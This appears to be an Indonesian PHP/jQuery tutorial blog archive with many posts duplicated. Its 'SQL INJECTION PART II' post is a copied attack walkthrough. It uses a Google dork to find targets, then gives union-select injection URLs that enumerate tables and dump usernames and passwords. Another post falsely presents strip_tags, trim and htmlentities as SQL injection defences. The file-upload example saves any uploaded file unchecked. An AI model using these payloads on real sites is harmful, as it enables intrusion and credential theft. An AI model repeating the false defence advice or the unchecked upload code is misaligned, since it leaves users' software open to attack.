Mungkin bagi sebagian sudah tidak asing dengan fitur yang sudah disediakan oleh jQuery UI ini. tapi saya akan mencoba membuat sebuah form multi select dan membaca inputan atas pilihan kita pada form tersebut.
form ini sangat berguna ketika kita ingin memilih banyak data, konsep kerja seperti dropdown, hanya saja dengan ini kita bisa memilih inputan lebih dari 1.
langsung saja berikut kodenya
index.html
<html>
<head>
<title>Multi Select</title>
<link rel="stylesheet" href="multiselect/docsupport/style.css">
<link rel="stylesheet" href="multiselect/docsupport/prism.css">
<link rel="stylesheet" href="multiselect/chosen.css">
<style type="text/css" media="all">
/* fix rtl for demo */
.chosen-rtl .chosen-drop { left: -9000px; }
</style>
</head>
<body>
<div id="container">
<div id="content">
<form method="post" action="proses.php">
<?php
$array = array("1"=>"deden","2"=>"rahmi");
echo form_multiselect('isi[] data-placeholder="Choose a Country..." class="chosen-select" multiple style="width:350px;" tabindex="4"',$array);
?>
<input type="submit">
</form>
</div>
</div>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.6.4/jquery.min.js" type="text/javascript"></script>
<script src="multiselect/chosen.jquery.js" type="text/javascript"></script>
<script src="multiselect/docsupport/prism.js" type="text/javascript" charset="utf-8"></script>
<script type="text/javascript">
var config = {
'.chosen-select' : {},
'.chosen-select-deselect' : {allow_single_deselect:true},
'.chosen-select-no-single' : {disable_search_threshold:10},
'.chosen-select-no-results': {no_results_text:'Oops, nothing found!'},
'.chosen-select-width' : {width:"95%"}
}
for (var selector in config) {
$(selector).chosen(config[selector]);
}
</script>
</body>
</html>
untuk source plugin akan dilampirkan pada bagian akhir artikel ini.
lalu buat proses php untuk membaca inputannya
proses.php
<?php
foreach($_POST['isi'] as $row){
echo $row;
}
?>
selamat mencoba , semoga bermanfaat.
link download http://www.4shared.com/zip/5hjI1_28ba/multiselect.html
Sunday, January 12, 2014
Thursday, January 9, 2014
Upload File Ala Facebook
Mungkin saat kita memilih file untuk di upload tidak akan nampak gambar yang kita pilih sebelum di upload. nah pada artikel kali ini, saya akan mencoba membuat sebuah upload dimana ada thumbnailnya / tampilan sebelum kita upload . ini berguna untuk meminimalisir kesalahan dalam mengupload file. sangat sederhana sekali, dimana kita menggunakan proses upload pada php dan fungsi thumbnail pada javascript.
sebelum memulai, buat satu folder untuk menampung foto yang akan diupload, beri saja nama uploads.
berikut kode HTMLnya
index.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<title>HTML5 File API</title>
<style>
#main {
width: 300px;
margin:auto;
background: #ececec;
padding: 20px;
border: 1px solid #ccc;
}
#image-list {
list-style:none;
margin:0;
padding:0;
}
#image-list li {
background: #fff;
border: 1px solid #ccc;
text-align:center;
padding:20px;
margin-bottom:19px;
}
#image-list li img {
width: 258px;
vertical-align: middle;
border:1px solid #474747;
}
</style>
</head>
<body>
<div id="main">
<input type="file" name="images" id="images" multiple />
<button type="submit" id="btn">Upload Files!</button>
<div id="response"></div>
<ul id="image-list">
</ul>
</div>
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.6.2/jquery.min.js"></script>
<script src="upload.js"></script>
</body>
</html>
pastikan anda terhubung pada internet, karena pada contoh diatas kode
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.6.2/jquery.min.js"></script> mengambil source dari link terkait.
lalu ini file php untuk proses pemindahan file ke server
upload.php
<?php
foreach ($_FILES["images"]["error"] as $key => $error) {
if ($error == UPLOAD_ERR_OK) {
$name = $_FILES["images"]["name"][$key];
move_uploaded_file( $_FILES["images"]["tmp_name"][$key], "uploads/" . $_FILES['images']['name'][$key]);
}
}
echo "<h2>Successfully Uploaded Images</h2>";
lalu ini file js. untuk membuat thumbnailnya
upload.js
(function () {
var input = document.getElementById("images"),
formdata = false;
function showUploadedItem (source) {
var list = document.getElementById("image-list"),
li = document.createElement("li"),
img = document.createElement("img");
img.src = source;
li.appendChild(img);
list.appendChild(li);
}
if (window.FormData) {
formdata = new FormData();
document.getElementById("btn").style.display = "none";
}
input.addEventListener("change", function (evt) {
document.getElementById("response").innerHTML = "Uploading . . ."
var i = 0, len = this.files.length, img, reader, file;
for ( ; i < len; i++ ) {
file = this.files[i];
if (!!file.type.match(/image.*/)) {
if ( window.FileReader ) {
reader = new FileReader();
reader.onloadend = function (e) {
showUploadedItem(e.target.result, file.fileName);
};
reader.readAsDataURL(file);
}
if (formdata) {
formdata.append("images[]", file);
}
}
}
if (formdata) {
$.ajax({
url: "upload.php",
type: "POST",
data: formdata,
processData: false,
contentType: false,
success: function (res) {
document.getElementById("response").innerHTML = res;
}
});
}
}, false);
}());
tampilan dibawah ini merupakan hasil dari kode diatas
sebelum memulai, buat satu folder untuk menampung foto yang akan diupload, beri saja nama uploads.
berikut kode HTMLnya
index.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<title>HTML5 File API</title>
<style>
#main {
width: 300px;
margin:auto;
background: #ececec;
padding: 20px;
border: 1px solid #ccc;
}
#image-list {
list-style:none;
margin:0;
padding:0;
}
#image-list li {
background: #fff;
border: 1px solid #ccc;
text-align:center;
padding:20px;
margin-bottom:19px;
}
#image-list li img {
width: 258px;
vertical-align: middle;
border:1px solid #474747;
}
</style>
</head>
<body>
<div id="main">
<input type="file" name="images" id="images" multiple />
<button type="submit" id="btn">Upload Files!</button>
<div id="response"></div>
<ul id="image-list">
</ul>
</div>
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.6.2/jquery.min.js"></script>
<script src="upload.js"></script>
</body>
</html>
pastikan anda terhubung pada internet, karena pada contoh diatas kode
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.6.2/jquery.min.js"></script> mengambil source dari link terkait.
lalu ini file php untuk proses pemindahan file ke server
upload.php
<?php
foreach ($_FILES["images"]["error"] as $key => $error) {
if ($error == UPLOAD_ERR_OK) {
$name = $_FILES["images"]["name"][$key];
move_uploaded_file( $_FILES["images"]["tmp_name"][$key], "uploads/" . $_FILES['images']['name'][$key]);
}
}
echo "<h2>Successfully Uploaded Images</h2>";
lalu ini file js. untuk membuat thumbnailnya
upload.js
(function () {
var input = document.getElementById("images"),
formdata = false;
function showUploadedItem (source) {
var list = document.getElementById("image-list"),
li = document.createElement("li"),
img = document.createElement("img");
img.src = source;
li.appendChild(img);
list.appendChild(li);
}
if (window.FormData) {
formdata = new FormData();
document.getElementById("btn").style.display = "none";
}
input.addEventListener("change", function (evt) {
document.getElementById("response").innerHTML = "Uploading . . ."
var i = 0, len = this.files.length, img, reader, file;
for ( ; i < len; i++ ) {
file = this.files[i];
if (!!file.type.match(/image.*/)) {
if ( window.FileReader ) {
reader = new FileReader();
reader.onloadend = function (e) {
showUploadedItem(e.target.result, file.fileName);
};
reader.readAsDataURL(file);
}
if (formdata) {
formdata.append("images[]", file);
}
}
}
if (formdata) {
$.ajax({
url: "upload.php",
type: "POST",
data: formdata,
processData: false,
contentType: false,
success: function (res) {
document.getElementById("response").innerHTML = res;
}
});
}
}, false);
}());
tampilan dibawah ini merupakan hasil dari kode diatas
Wednesday, January 8, 2014
SQL INJECTION PART II
Pengertian SQL INJECTION:
Sebelum kita mengetahui apa itu pengertian SQL Injection, kita
ketahui dulu apa arti dari SQL itu sendiri. Pengertian SQL itu sendiri
adalah sebuah bahasa yang dirancang khusus untuk dapat berkomunikasi
dengan database. SQL dibagi menjadi dua bagian yaituDDL (Data Definition Language) adalah perintah-perintah SQL yang berhubungan dengan modifikasi database seperti membuat database, membuat tabel, index, menghapus tabel, index dan sejenisnya.
DML (data Manipulation Language) adalah perintah-perintah SQL untuk memodifikasi isi database dan (khususnya) tabel seperti menambah data, mengedit, menghapus, mengelompokkan, merelasikan data dan sejenisnya.
Setelah kita mengetahui apa arti SQL itu sendiri, baru deh kita masuk ke pengertian SQL Injection.
SQL injection adalah sebuah aksi hacking yang dilakukan di aplikasi client dengan cara memodifikasi perintah SQL yang ada di memori aplikasi clien dan juga merupakan teknik mengeksploitasi web aplikasi yang didalamnya menggunakan database untuk penyimpanan data.
Yang perlu di ketahui sebelum sql injection pada mysql:
karakter: ‘ atau -
comments: /* atau –
information_schema untuk versi: mysql versi 5.x , tidak support untuk mysql versi 4.x
1. Cari Target + Bugnya
Cara mencarinya adalah dengan dork sql injection. Misalnya “inurl:index.php?id=” search dengan om GOOGLE, lalu misalkan kita mendapatkan alamat situshttp://www.target.com/index.php?id=4
Lalu untuk mengetahui suatu web memiliki bug SQL injection, tambahkan sebuah
tanda petik pada akhir url, sehingga urlnya menjadi
http://www.target.com/index.php?id=4’
dan apa yang terjadi pada situs tersebut??
Situsnya menampilkan pesan error, dan berarti parameter id tidak di filter dengan
baik atau bahkan tidak difilter sama sekali, untuk mengetahui suatu web
aplikasi memiliki bug SQL Injection salah satunya adalah menggunakan perintah
and+1=1–
Ketika di tambahkan parameter +and+1=1– pada akhir URL, situsnya tampil
dengan normal karna 1=1 menghasilkan nilai true.
http://www.target.com/ /index.php?id=4+and+1=1–
Dan ketika di tambahkan parameter +and+1=2– isi berita tidak ditampilkan karna
1=2 hasilnya false dan ini membuktikan bahwa web aplikasi tersebut 99.9%
memiliki bug SQL Injection
http://www.target.com/index.php?id=4+and+1%3D2–
2. Cari Column Yang Memiliki Celah Injection
Setelah saya tau bahwa web applikasi tersebut memiliki Bug SQL Injection saya
harus mencari tau nama table dan colom, tapi sebelum itu saya harus mencari tau
pada colomn ke berapa saya bisa melakukan Injection, untuk itu saya menggunakan
perintah order by perhatikan url berikut.
http://www.target.com/index.php?id=4+order+by+1–
http://www.target.com/index.php?id=4+order+by+2–
http://www.target.com/index.php?id=4+order+by+3–
http://www.target.com/index.php?id=4+order+by+4–
http://www.target.com/index.php?id=4+order+by+5–
url diatas jika di coba satu persatu akan menampilkan situsnya secara normal.
Tapi ketika saya menginputnya dengan
order+by+6–
apa yang terjadi??? Browser menampilkan pesan error.
Dari pesan error tersebut bisa dipastikan terdapat 5 buah colomn yang terdapat di
salah satu table yang belum kita ketahui namanya.
Berarti yang kita ambil sampai +order+by+5–
3. Gunakan perintah Union select
Setelah saya mengetahui terdapat 5 buah colomn pada target, selanjutnya yaitu
mencari colomn yang bisa dilakukan injeksi. Untuk itu saya menggunakan perintah
union select (pakai union all select juga bisa kok…) sehingga urlnya menjadi
http://www.target.com/index.php?id=4+union+select+1%2C2%2C3%2C4%2C5–
Dan apa yang tampak di browser tidak ada yang aneh bukan situsnya tampil dengan Normal.
Tetapi jika parameter id saya ganti menjadi -4 yang pastinya tidak ada isi data -4 di
Database. Oke seumpama browser menampilkan angka 2 & 3, dan angka inilah yang sering disebut dengan angka ajaib, karna angka tersebut adalah letak colomn dimana attacker bisa
melakukan injeksi lebih lanjut.
http://www.target.com/ /index.php?id=-4+union+select+1,2,3,4,5–
4. Cari informasi database target
Dengan tampilnya angka ajaib tersebut anda bisa ‘mengintip’ beberapa informasi
seperti nama database, nama user database, versi database, sessi user dll.
Untuk melihat nama database injeksi urlnya menjadi
http://www.target.com/index.php?id=-4+union+select+1%2Cdatabase%28%29%2C3%2C4%2C5–
Dan seumpama browser menampilkan nama database yaitu xyb_injector.
Saya mencoba mengintip lagi nama user database pada situs tersebut dengan
menginjeksinya pada colomn ke-2 dan versi pada colomn ke-3 dan url injeksinya
menjadi
http://www.target.com/index.php?id=-4+union+select+1%2Cuser%28%29%2Cversion%28%29%2C4%2C5–
Ternyata user dabasenya root@localhost dan beruntung sekali karna versi
mysql yang di gunakan adalah versi 5.0.51a-community, lho emang versi 5
kenapa om???mendingan versi 5 soalnya saya ngerti, dari pada versi 4 saya ga ngerti, hehe
Coba anda perhatikan, anda hanya bisa meng-injeksi satu perintah pada satu
columns, bisakah meng-injeksi lebih dari satu perintah pada satu colums??? heheheh
tentu saja bisa dong, untuk itu anda bisa menggunakan perintah yang sudah
disediakan langsung oleh mysql yaitu perintah concat(perintah1,perintah2).
contoh dibawah ini saya meng-intip nama user dan nama database pada colomn ke-
2 dan pada kolom ke 3 saya mengintip versi databasenya.
http://www.target.com/index.php?id=-4+union+select+1%2Cconcat(user(),0x3a,database()),version(),4,5–
5. Dapatkan Nama Table
Saya sudah mendapatkan informasi database web aplikasi terserbut, sebenarnya
yang saya butuhkan hanyalah versi databasenya saja, seperti yang sudah anda lihat,
versi database yang ditampilkan adalah 5.0.51a-community dan tentu ini
memudahkan saya dalam mendapatkan table dengan menggunakan perintah
table_name pada coloms yang memiliki bug yaitu 2 atau 3, pada akhir statement
tambahkan
from+information_schema.tables+where+table_schema=database()+limit+0,1–
sehingga urlnya menjadi
http://www.target.com/index.php?id=-4+union+select+1%2C2%2Ctable_name%2C4%2C5+from+information_schema.tables+where+table_schema%3Ddatabase%28%29+limit+0%2C1–
Seumpama tampil sebuah table bernama “table_attacker”.
Untuk melihat seluruh table sekaligus gunakan perintah group_concat(table_name)
pada colomn yang memiliki bug, sehingga urlnya menjadi
http://www.target.com/index.php?id=-4+union+select+1%2C2%2Cgroup_concat%28table_name%29%2C4%2C5+from+information_schema.tables+where+table_schema%3Ddatabase%28%29–
Hohoho seep, seluruh table berhasil saya dapatkan, diantara table tersebut, table
manakah yang harus saya telusuri lebih jauh lagi??? table_user sepertinya menarik
yuk kita lihat apa isinya.6. Dapatkan Nama Colomns
table_user sudah saya dapatkan selanjutnya yaitu mencari nama colomns pada table
tersebut, untuk itu saya menggunakan perintah group_concat(column_name) sehingga urlnya
menjadi.
http://www.target.com/index.php?id=-4+union+select+1%2C2%2Cgroup_concat%28column_name%29%2C4%2C5+from+information_schema.columns+where+table_name%3D0xhexa–
pada tahap ini kamu wajib mengextrak kata yang keluar pada isi table tadi menjadi hexadecimal yaitu dengan cara mengkonversinya
website yg digunakan untuk konversi :
http://www.string-functions.com/string-hex.aspx
contoh kata yg ingin di konversi yaitu table_user maka akan menjadi 7461626c655f75736572 ini masih belum selesai, anda harus menambahkan
angka 0 dan huruf x pada awal hasil hexa tersebut sehingga hasilnya menjadi
0x7461626c655f75736572 dan inilah yang akan kita injeksikan pada nama tabel.
sehingga urlnya menjadi
http://www.target.com/index.php?id=-4+union+select+1%2C2%2Cgroup_concat%28column_name%29%2C4%2C5+from+information_schema.columns+where+table_name%3D0x7461626c655f75736572–
Alhasil nama colom dari table_user sudah saya dapatkan yaitu user_id dan
password_id.
7. Dapatkan Usename & Password.
Saya sudah mendapatkan nama table “table_user” yang berisi 2 buah colomn yaitu
“user_id” dan “password_id” dan akhirnya anda sudah sampai di detik-detik
terakhir yaitu menampilkan isi data dari colomn tersebut. Tambahkan 0x3a pada group_concat(hasil isi column yg mau dikeluarkan,0x3a, hasil isi column yg mau dikeluarkan)
perintah +from+(nama table berasal) -> dimasukkan setelah angka terakhir
sehingga urlnya menjadi :
http://www.target.com/index.php?id=-4+union+select+1%2C2%2Cgroup_concat%28user_id%2C0x3a%2Cpassword_id%29%2C4%2C5+from+table_user–
Tampilah seluruh username dan password dari situs tersebut dan ini sangat
membahayakan jika attacker berhasil melakukan cracking pada password tersebut.
attacker bisa saja melakukan aksi defacing seperti yang akhir-akhir ini sedang marak
di beritakan.
sumber http://komputerpamungkas.wordpress.com/2011/04/03/tutorial-sql-injection/
SQL INJECTION
salah satu hal terpenting dalam security di web yaitu sql injection. php menyediakan beberapa fungsi yang dapat digunakan untuk mencegahnya, berikut ini fungsi yang dapat digunakan :
<?php
$isi = "<b> Ini contoh </b>";
$strip = strip_tags($isi);
$trim = trim($isi);
$html= htmlentities($isi);
echo "ini contoh strip_tags() ".$strip;
echo "<br> ini contoh trim() ".$trim;
echo "<br> ini contoh htmlentities() ".$html;
?>
mah seperti itulah beberapa fungsi yang dapat digunakan dalam pencegahan sql injection. semoga bermanfaat
- Strip_tags() : digunakan untuk menghilangkan karakter-karakter html dari value yg diinputkan, misalnya pada form login atau guest book.
- trim() : digunakan untuk menghilangkan spasi kanan dan kiri.
- htmlentities() : digunakan untuk mengubah kode-kode html menjadi karakter biasa.
<?php
$isi = "<b> Ini contoh </b>";
$strip = strip_tags($isi);
$trim = trim($isi);
$html= htmlentities($isi);
echo "ini contoh strip_tags() ".$strip;
echo "<br> ini contoh trim() ".$trim;
echo "<br> ini contoh htmlentities() ".$html;
?>
mah seperti itulah beberapa fungsi yang dapat digunakan dalam pencegahan sql injection. semoga bermanfaat
Tuesday, January 7, 2014
Membuat Peta Dengan Google Maps
sebenarnya sudah lama ingin memposting artikel mengenai ini, hanya saja.. ya biasa masalah deadline dan sebagainya yang menghambat untuk meluncurkan tulisan mengenai maps ini. mumpung waktunya pas semoga bisa bermanfaat :D
dengan adanya google maps, kita bisa memanfaatkan API yang sudah dengan baiknya google buat kita bisa menggunakannya secara free. sekarang kita akan coba membuat peta yang menampilkan kawasan Indonesia sebagai center view (pusat perhatian pada saat website di buka). berikut ini kodenya
peta.html
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="initial-scale=1.0, user-scalable=no">
<meta charset="UTF-8">
<title>Google Maps</title>
<link href="/apis/fusiontables/docs/samples/style/default.css"
rel="stylesheet" type="text/css">
<script type="text/javascript"
src="http://maps.google.com/maps/api/js?sensor=false"></script>
<script type="text/javascript">
function initialize() {
var tableId = '1ag1g0AguWSczmuXhOudN1XMXTCys8_gwjiUIfg';
var map = new google.maps.Map(document.getElementById('map-canvas'), {
center: new google.maps.LatLng(-6.327827980262304, 106.67339647284699),
zoom: 4,
mapTypeId: google.maps.MapTypeId.ROADMAP
});
}
google.maps.event.addDomListener(window, 'load', initialize);
</script>
</head>
<body>
<div id="map-canvas" style="width:650px; height:450px"></div>
</body>
</html>
hasil dari kode diatas adalah
dengan adanya google maps, kita bisa memanfaatkan API yang sudah dengan baiknya google buat kita bisa menggunakannya secara free. sekarang kita akan coba membuat peta yang menampilkan kawasan Indonesia sebagai center view (pusat perhatian pada saat website di buka). berikut ini kodenya
peta.html
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="initial-scale=1.0, user-scalable=no">
<meta charset="UTF-8">
<title>Google Maps</title>
<link href="/apis/fusiontables/docs/samples/style/default.css"
rel="stylesheet" type="text/css">
<script type="text/javascript"
src="http://maps.google.com/maps/api/js?sensor=false"></script>
<script type="text/javascript">
function initialize() {
var tableId = '1ag1g0AguWSczmuXhOudN1XMXTCys8_gwjiUIfg';
var map = new google.maps.Map(document.getElementById('map-canvas'), {
center: new google.maps.LatLng(-6.327827980262304, 106.67339647284699),
zoom: 4,
mapTypeId: google.maps.MapTypeId.ROADMAP
});
}
google.maps.event.addDomListener(window, 'load', initialize);
</script>
</head>
<body>
<div id="map-canvas" style="width:650px; height:450px"></div>
</body>
</html>
hasil dari kode diatas adalah
Apa Itu JSON ?
dari 2 artikel yang telah dibuat, mungkin anda bertanya-tanya belum tau apa itu JSON yang sesungguhnya, berikut kutipan (sumber http://id.wikipedia.org/wiki/JSON)
JSON (dilafalkan "Jason"), singkatan dari JavaScript Object Notation (bahasa Indonesia: notasi objek JavaScript), adalah suatu format ringkas pertukaran data komputer. Formatnya berbasis teks dan terbaca-manusia serta digunakan untuk merepresentasikan struktur data sederhana dan larik asosiatif (disebut objek). Format JSON sering digunakan untuk mentransmisikan data terstruktur melalui suatu koneksi jaringan pada suatu proses yang disebut serialisasi. Aplikasi utamanya adalah pada pemrograman aplikasi web AJAX dengan berperan sebagai alternatif terhadap penggunaan tradisional format XML.
Walaupun JSON didasarkan pada subset bahasa pemrograman JavaScript (secara spesifik, edisi ketiga standar ECMA-262, Desember 1999 [1]) dan umumnya digunakan dengan bahasa tersebut, JSON dianggap sebagai format data yang tak tergantung pada suatu bahasa. Kode untuk pengolahan dan pembuatan data JSON telah tersedia untuk banyak jenis bahasa pemrograman. Situs json.org menyediakan daftar komprehensif pengikatan JSON yang tersedia, disusun menurut bahasa.
JSON (dilafalkan "Jason"), singkatan dari JavaScript Object Notation (bahasa Indonesia: notasi objek JavaScript), adalah suatu format ringkas pertukaran data komputer. Formatnya berbasis teks dan terbaca-manusia serta digunakan untuk merepresentasikan struktur data sederhana dan larik asosiatif (disebut objek). Format JSON sering digunakan untuk mentransmisikan data terstruktur melalui suatu koneksi jaringan pada suatu proses yang disebut serialisasi. Aplikasi utamanya adalah pada pemrograman aplikasi web AJAX dengan berperan sebagai alternatif terhadap penggunaan tradisional format XML.
Walaupun JSON didasarkan pada subset bahasa pemrograman JavaScript (secara spesifik, edisi ketiga standar ECMA-262, Desember 1999 [1]) dan umumnya digunakan dengan bahasa tersebut, JSON dianggap sebagai format data yang tak tergantung pada suatu bahasa. Kode untuk pengolahan dan pembuatan data JSON telah tersedia untuk banyak jenis bahasa pemrograman. Situs json.org menyediakan daftar komprehensif pengikatan JSON yang tersedia, disusun menurut bahasa.
Mengambil data JSON dengan JQuery (JSON Part 2)
pada artikel sebelumnya telah dibahas mengenai parsing data dari array hasil query menjadi JSON. sekarang akan dibahas lebih lanjut agar data JSON tadi bisa tampil pada halaman website.
sebenarnya sama saja dengan code pada artikel sebelumnya, hanya saja sedikit dimodifikasi sesuai dengan data yang akan ditampilkan.
ambildata.php
<?php
mysql_connect('localhost','root','');
mysql_select_db('latihan');
$data = mysql_query("SELECT * from chat");
$json = '{"data":[ ';
while($x = mysql_fetch_array($data)){
$json .= '{';
$json .= '"id_chat":"'.$x['id'].'",
"from":"'.strip_tags(trim($x['from'])).'",
"to":"'.strip_tags(trim($x['to'])).'",
"sent":"'.strip_tags(trim($x['sent'])).'",
},';
}
$json = substr($json,0,strlen($json)-1);
$json .= ']';
$json .= '}';
echo $json;
?>
lalu ini kode dari tampilannya
<html>
<head>
<title>json + jquery</title>
<script type='text/javascript' src='jquery.js'></script>
<script type='text/javascript'>
$(document).ready(function(){
var i;
var from = new Array();
var to = new Array();
var sent = new Array();
function view() {
$.ajax({
url: 'ambildata.php',
dataType: 'json',
cache: false,
success: function(msg){
for(i=0;i<msg.data.length;i++){
from[i] = msg.data[i].from;
to[i] = msg.data[i].to;
sent[i] = msg.data[i].sent;
$('#hasil_json').html('<p> FROM: ' + from + '</p>');
$('#hasil_json').append('<p>TO : ' + to+ '</p>');
$('#hasil_json').append('<p> SENT: ' + sent+ '</p>');
}
}
});
}
view();
});
</script>
</head>
<body>
<div id='hasil_json'></div>
</body>
</html>
untuk plugin jquerynya bsa d download di http://jquery.com/download/
selamat mencoba semoga bermanfaat :D
sebenarnya sama saja dengan code pada artikel sebelumnya, hanya saja sedikit dimodifikasi sesuai dengan data yang akan ditampilkan.
ambildata.php
<?php
mysql_connect('localhost','root','');
mysql_select_db('latihan');
$data = mysql_query("SELECT * from chat");
$json = '{"data":[ ';
while($x = mysql_fetch_array($data)){
$json .= '{';
$json .= '"id_chat":"'.$x['id'].'",
"from":"'.strip_tags(trim($x['from'])).'",
"to":"'.strip_tags(trim($x['to'])).'",
"sent":"'.strip_tags(trim($x['sent'])).'",
},';
}
$json = substr($json,0,strlen($json)-1);
$json .= ']';
$json .= '}';
echo $json;
?>
lalu ini kode dari tampilannya
<html>
<head>
<title>json + jquery</title>
<script type='text/javascript' src='jquery.js'></script>
<script type='text/javascript'>
$(document).ready(function(){
var i;
var from = new Array();
var to = new Array();
var sent = new Array();
function view() {
$.ajax({
url: 'ambildata.php',
dataType: 'json',
cache: false,
success: function(msg){
for(i=0;i<msg.data.length;i++){
from[i] = msg.data[i].from;
to[i] = msg.data[i].to;
sent[i] = msg.data[i].sent;
$('#hasil_json').html('<p> FROM: ' + from + '</p>');
$('#hasil_json').append('<p>TO : ' + to+ '</p>');
$('#hasil_json').append('<p> SENT: ' + sent+ '</p>');
}
}
});
}
view();
});
</script>
</head>
<body>
<div id='hasil_json'></div>
</body>
</html>
untuk plugin jquerynya bsa d download di http://jquery.com/download/
selamat mencoba semoga bermanfaat :D
Parsing data menjadi JSON (Javascript Object Notation)
Salah satu yang penting dalam website yaitu JSON. kenapa harus JSON ? karena JSON merubah / parsing data menjadi lebih ringan. karena JSON sendiri merupakan bahasa yang bekerja pada sisi client sama halnya seperti AJAX. tidak langsung mengakses server tetapi ada penghubung, yakni javascript. Pada kasus kali ini saya akan membuat sebuah contoh merubah data yang diambil dari sebuah table.
berikut ini query table yang akan digunakan untuk latihan kali ini
CREATE TABLE IF NOT EXISTS `chat` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
`from` varchar(255) NOT NULL DEFAULT '',
`to` varchar(255) NOT NULL DEFAULT '',
`message` text NOT NULL,
`sent` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
`recd` int(10) unsigned NOT NULL DEFAULT '0',
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=16 ;
INSERT INTO `chat` (`id`, `from`, `to`, `message`, `sent`, `recd`) VALUES
(1, 'johndoe', 'janedoe', 'dwdwdwdwdw', '2014-01-07 10:51:02', 1),
(2, 'janedoe', 'johndoe', 'dwdwdwdwdw', '2014-01-07 10:51:27', 1),
(3, 'janedoe', 'johndoe', 'hry', '2014-01-07 10:51:49', 1),
(4, 'janedoe', 'janedoe', 'efefefe', '2014-01-07 10:51:52', 1),
(5, 'janedoe', 'janedoe', 'fefefefe', '2014-01-07 10:52:08', 1),
(6, 'janedoe', 'johndoe', 'jon', '2014-01-07 10:52:44', 1),
(7, 'johndoe', 'janedoe', 'what', '2014-01-07 10:53:01', 1),
(8, 'janedoe', 'johndoe', 'nothing beb', '2014-01-07 10:53:08', 1),
(9, 'johndoe', 'janedoe', 'efegegegeg', '2014-01-07 11:23:06', 1),
(10, 'janedoe', 'johndoe', 'dwdwdwdw', '2014-01-07 11:23:16', 1),
(11, 'janedoe', 'johndoe', 'asasasa', '2014-01-07 11:23:20', 1),
(12, 'janedoe', 'johndoe', 'dedede', '2014-01-07 11:36:18', 1),
(13, 'johndoe', 'janedoe', 'wdlmwldmwld', '2014-01-07 11:43:24', 1),
(14, 'johndoe', 'janedoe', 'wdnwkdwnd', '2014-01-07 11:43:25', 1),
(15, 'johndoe', 'johndoe', 'wdwdwl', '2014-01-07 11:43:27', 1);
lalu ini kode untuk memparsing data menjadi JSON
ambildata.php
<?php
mysql_connect('localhost','root','');
mysql_select_db('latihan');
$data = mysql_query("SELECT * from chat");
$json = '{"data":[ ';
while($x = mysql_fetch_array($data)){
$json .= '{';
$json .= '"id_chat":"'.$x['id'].'",
"from":"'.strip_tags(trim($x['from'])).'",
"to":"'.strip_tags(trim($x['to'])).'",
"message":"'.strip_tags(trim($x['message'])).'",
"sent":"'.strip_tags(trim($x['sent'])).'",
"recd":"'.strip_tags(trim($x['recd'])).'"
},';
}
$json = substr($json,0,strlen($json)-1);
$json .= ']';
$json .= '}';
echo $json;
?>
mysql_connect('localhost','root','');
mysql_select_db('latihan');
$data = mysql_query("SELECT * from chat");
$json = '{"data":[ ';
while($x = mysql_fetch_array($data)){
$json .= '{';
$json .= '"id_chat":"'.$x['id'].'",
"from":"'.strip_tags(trim($x['from'])).'",
"to":"'.strip_tags(trim($x['to'])).'",
"message":"'.strip_tags(trim($x['message'])).'",
"sent":"'.strip_tags(trim($x['sent'])).'",
"recd":"'.strip_tags(trim($x['recd'])).'"
},';
}
$json = substr($json,0,strlen($json)-1);
$json .= ']';
$json .= '}';
echo $json;
?>
hasil dari kode diatas akan seperti pada gambar berikut
terlihat beberapa data seperti isi pada table. pada artikel selanjutnya akan dibahas bagaimana mengambil data tersebut menjadi sebuah tabulasi data. semoga bermanfaat
Sunday, January 5, 2014
Membuat Verifikasi Kode (Seperti Captcha) Dengan Konsep Penjumlahan
Bermula dari malasnya menggunakan plugin tambahan, ide membuat kode verifikasi dengan memanfaatkan fungsi session. sebenarnya sederhana saja, dari awal kita membuat 2 buah angka random, lalu kita jumlahkan. dan hasil penjumlahannya kita simpan pada session untuk nantinya di cocokkan dengan kode inputan. langsung aja mungkin biar lebih jelas.
form.php
<?php
session_start();
$n1 = rand(1,20);
$n2 = rand(1,20);
$hasil = $n1+$n2;
$_SESSION['kode'] = $hasil;
?>
Masukan Kode Verifikasi Berikut
<br>
<?php
echo $n1."+".$n2."=";
?>
<form method="post" action="cekode.php">
<input type="text" name="kode"/>
<input type="submit" value="Cek"/>
</form>
lalu buat satu file untuk memverifikasi kode inputan apakah sesuai atau tidak
cekode.php
<?php
session_start();
$kodever = $_SESSION['kode'];
$kodeinputan = $_POST['kode'];
if($kodeinputan==$kodever){
echo "Kode cocok";
}else{
echo "Maaf kode yang anda masukan salah !!!!!!";
}
?>
jika kode inputan tidak cocok, maka akan muncul tulisan Maaf kode yang anda masukan salah !!!!!! . akan tetapi jika kode valid tulisan yang akan muncul adalah Kode cocok. cukup mudahkan ? semoga bermanfaat
form.php
<?php
session_start();
$n1 = rand(1,20);
$n2 = rand(1,20);
$hasil = $n1+$n2;
$_SESSION['kode'] = $hasil;
?>
Masukan Kode Verifikasi Berikut
<br>
<?php
echo $n1."+".$n2."=";
?>
<form method="post" action="cekode.php">
<input type="text" name="kode"/>
<input type="submit" value="Cek"/>
</form>
lalu buat satu file untuk memverifikasi kode inputan apakah sesuai atau tidak
cekode.php
<?php
session_start();
$kodever = $_SESSION['kode'];
$kodeinputan = $_POST['kode'];
if($kodeinputan==$kodever){
echo "Kode cocok";
}else{
echo "Maaf kode yang anda masukan salah !!!!!!";
}
?>
jika kode inputan tidak cocok, maka akan muncul tulisan Maaf kode yang anda masukan salah !!!!!! . akan tetapi jika kode valid tulisan yang akan muncul adalah Kode cocok. cukup mudahkan ? semoga bermanfaat
Menggabungkan Beberapa Array Dengan array_combine()
bermula dari kasus yang saya dapat, dimana pada awalnya saya ingin menggabungkan 2 data array dari database. dari contoh sederhana ini bisa digambarkan cara menggabungkan 2 array (kumpulan data menjadi satu)
array.php
<?php
$array1 = array("1","2","3","4");
$array2 = array("Jeep","Liberty","Black","2005");
$newArray = array_combine($array1, $array2);
